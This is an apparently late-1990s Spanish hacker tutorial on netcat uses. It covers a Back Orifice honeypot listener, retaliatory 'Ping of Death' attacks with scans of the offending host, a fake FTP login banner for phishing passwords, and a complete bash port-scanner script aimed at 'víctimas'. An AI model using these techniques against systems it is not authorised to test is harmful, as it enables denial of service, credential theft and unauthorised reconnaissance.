La posibilidad de dejar a netcat escuchando en determinados puertos, nos permite crear una especie de “trampa” para un supuesto agresor que utilize scanners, o herramientas tales como NetBus o BackOrifice en contra de nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood y redireccionar su salida hacia la estación agresora en caso de una conexión no autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas más, Muaahahaha!) :)

Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo real de un dia como cualquier otro en IRC; he aquí el ejemplo:

C:\nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 …

invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65]
31338

Back Orifice utiliza el protocolo UDP para realizar sus travesuras, realiza la conexión desde un puerto aleatorio (casi siempre el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una variante de BO), por eso se utiliza la opción -u (protocolo udp) , netcat se queda esperando conexiones UDP en el puerto 31337 (default de BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a pantalla el IP y el DNS del agresor…

Luego un pequeño “Ping of Death” (Nuke) para el transgresor y le hacen un Scan para ver cuando desaparece B-]
nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT
nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<–Chao!!! Jeje!! Otros usos Miscelaneos: ======================= Puedes utilizar algo de ingienería social para capturar algunos passwords con netcat, por ejemplo, si una máquina no tiene abierto el puerto de FTP o de telnet, creas un archivo de texto que solicite el ID y el Password de la víctima; algo así: Microsoft Internet FTP Server V.5.9 [Beta] 04/16/99 myhost.com Please introduce Username, password and press “Enter” LogOn: Luego redireccionas el archivo hacia la victima: C:\nc11nt>nc -v -v -L -p 21 nombre del host -t <> nc -v nombre del host 23(o el puerto de tu preferencia)

Netcat y Programación:
======================

Esta combinación desencadena todo el Poder de Netcat en su máxima expresión; Tratandose de una herramienta que funciona con lineas de comandos, su integración con un lenguaje de programación le permite realizar gran cantidad de tareas, y posibilidades se van descubriendo dia a dia con su inclusión en nuevos Scripts y Exploits.

Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten frustrados porque muchos de los Scripts y Exploits que bajan de la Red simplemente no les funciona, porque no saben interpretar el Código y por lo tanto son incapaces de efectuar las modificaciones necesarias para incluir librerias, paths o utilidades necesarias para su funcionamiento. (Jódanse ScriptKiddies!!! Jajaja!!)

Netcat es exelente para implementar exploits remotos, permitiendo enviar el código a cualquier puerto vulnerable con una simple orden, logrando ejecutar todos los comandos necesarios para explotar determinados servicios.

Varios exploits que circulan actualmente en la Red, usan a netcat como “motor” para manejar las conexiones, si analizamos el código de estos programas podemos observar un nc por ahí, esto significa que el Proggie en cuestión necesita una versión correctamente compilada de netcat en el
directorio /usr/bin . A continuación un pequeño programa realizado por el Doctor_X de Hven utilizando a netcat:

<———- Hven Port Scanner!! ——>

# !/bin/bash
# Scanner de Puertos
# By DoctorX 17/04/99 email: d0ct0r_x@bactery.8m.com
# Zona de Bacterias http://bactery.8m.com
# Hackers de Venezuela http://www.hackhour.com.br/hven
# Este es un shell script hecho por mi para la verificacion de
# conexiones a un host utilizando netcat.

# Declaracion de Variables

export NETCAT=” nc -v -v -w 8 -z “
export RANGO=$2
LOCALHOST=$(uname -n)
export PUERTOS=”21 23 25 79 80 110 111 113 139 143 513 514 515 6000 31337″
export MEM1=”Scanner de Puertos “
export MEM2=”by “
export MEM22=”para Hackers Venezuela”
export MEM3=”Victima : “
export MEM4=”Falta el GateWay para el Source Routing !!!!!!”
export MEM5=”Te van a pillar !!!!!!! $USER jejejejeje “
export MEM6=”Local Host : $LOCALHOST “
export MEM7=”UDP Scan “
export MEM8=”http://www.hackhour.com.br/hven
export re=”[5m"
export cl="[0m"
export rojo="[31m"
export email="email:d0ct0r_x@bactery.8m.com"

# Declaracion de Funciones

# Mensaje cuando no se le dan Parametros

function mem() {
local uso="uso :$0 [opcion] “
local DRX=”DoctorX”
echo $MEM1
echo $MEM2 ${rojo}$DRX${cl} $MEM22
echo $MEM8
echo ${rojo}$uso${cl}
echo ” :IP/HOSTNAME de La Victima jejejeje “
echo ” :source-routing , es opcional “
echo “opciones : “
echo “u :esta opcion de utiliza para hacer scan udp”
echo “so :D eterminacion de SO de servidores Web”
echo “r rango_de_puertos :Cambia el rango de puertos por defecto :plow-phi” &&
exit ; }

# Mensaje Inicial

function mem2() {
VICTIMA=$1
echo $MEM1
echo $MEM2 ${rojo}DoctorX${cl} $MEM22
echo $MEM3 $VICTIMA
echo $MEM6 ; }

# Mensaje 2

function mem_web() {
mem_web1=”Hackers Venezuela”
mem_web2=”By”
mem_web3=”Victima : “
VICTIMA=$1
mem_web4=”Determinacion de SO en Web Servers”
echo $mem_web1
echo $mem_web4
echo $mem_web2 ${rojo}DoctorX${cl} $email
echo $mem_web3 $VICTIMA ;}

# Scan Tcp

function tcp() {
HOST=$1
$NETCAT $HOST $PUERTOS ; }

# Scan Tcp con Rango

function tcp_rango() {
HOST=$2
RANGO=$1
$NETCAT $HOST $RANGO ; }

# Scan UDP

function udp() {
VICTIMA=$1
echo $MEM7
$NETCAT -u $VICTIMA $PUERTOS ; }

# Scan UDP con gateway

function udp_gateway() {
echo $MEM7
VICTIMA=$2
GATE=$1
NETCAT_GATE=”nc -v -v -z -u $VICTIMA -g $GATE “
$NETCAT_GATE $PUERTOS ; }

# Scan con Source Routing

function tcp_gateway() {
GATE=$1
HOST=$2
RANGO=$PUERTOS
echo “Gate : $GATE “
$NETCAT -g $GATE $HOST $RANGO ; }

# Advertencia

function adv() {
local MEM4=”Falta el GateWay para el Source Routing !!!!!!”
local MEM5=”Te van a pillar !!!!!!! $USER jejejejeje “
echo ${rojo}$MEM4${cl}
echo ${re}${rojo}$MEM5${cl} ; }

# Determinacion de SO

function web_so() {
NC=”nc -w “
HTTPPORT=”80″
GET=”GET /”
ECHO=”/bin/echo”
HEAD=”HEAD / HTPP/1.0″
HTTPVARIABLE=”Server:”
WEB_SERVER=”$1″
LOG=”salida.txt”
#CHECKHTTP=( echo $GET ; sleep 5)| $NETCAT $VICTIMA 80
( echo $HEAD ; echo ; echo ) | $NC 8 $WEB_SERVER $HTTPPORT | grep $HTTPVARIABLE | cut -d: -f2 1> $LOG
cat $LOG
rm -f $LOG ;}

# Seleccion de Opcion

case $# in 0 ) mem ;;
1 ) mem2 $1 ;
adv ;
tcp $1 ;;
3 ) if [ "$1" != "r" ]; then
mem2 $2
udp_gateway $3 $2
else { mem2 $3
adv
tcp_rango $2 $3 ;}
fi ;;
2 ) if [ "$1" != "u" ] ; then
if [ "$1" != "so" ] ; then
{ mem2 $1
# adv
tcp_gateway $2 $1 ;}
else { mem_web $2
web_so $2 ;}
fi
else { export HOST=$2
mem2 $HOST
udp $2
exit 0 ;}
fi ;
esac

<——- Fin del Hven-Scanner, cortar aquí ———>

Conclusión:
============

Si estudiamos detalladamente las variables, el misterio de netcat desaparece, viene la parte de la imaginación; ¿Que otras funciones le podemos asignar? ¿Que mas podría hacer? ; al revisar el
programa que envió Dr._X me dije: “Lógico! Hmmm… Y que tal si hacemos asi…” ; el hacking no es más que probar nuevas posibilidades, utilizando el ingenio, los conocimientos acumulados y una dosis bastante fuerte de imaginación podremos lograr loque queramos. :)

Si tienes otras ideas, utilidades, programas o forma innovadora para utilizar netcat, escribenos un mail, estaré encantado de anexarlo en este documento….

Este Documento fue Realizado por Kliber, Agradecimientos especiales a Doctor_X (Code Freak) :) , DarkDeath, y a todos los miembros de nuestra comunidad por su invaluable Colaboración.

“Hecho en Venezuela!”

==============================
kliber@hven.com.ve
Hackers Venezuela
“El Conicimiento es Poder!!”
http://hven.com.ve
==============================

Fuente Externa: foro.elhacker.net/

Seguir

Get every new post delivered to your Inbox.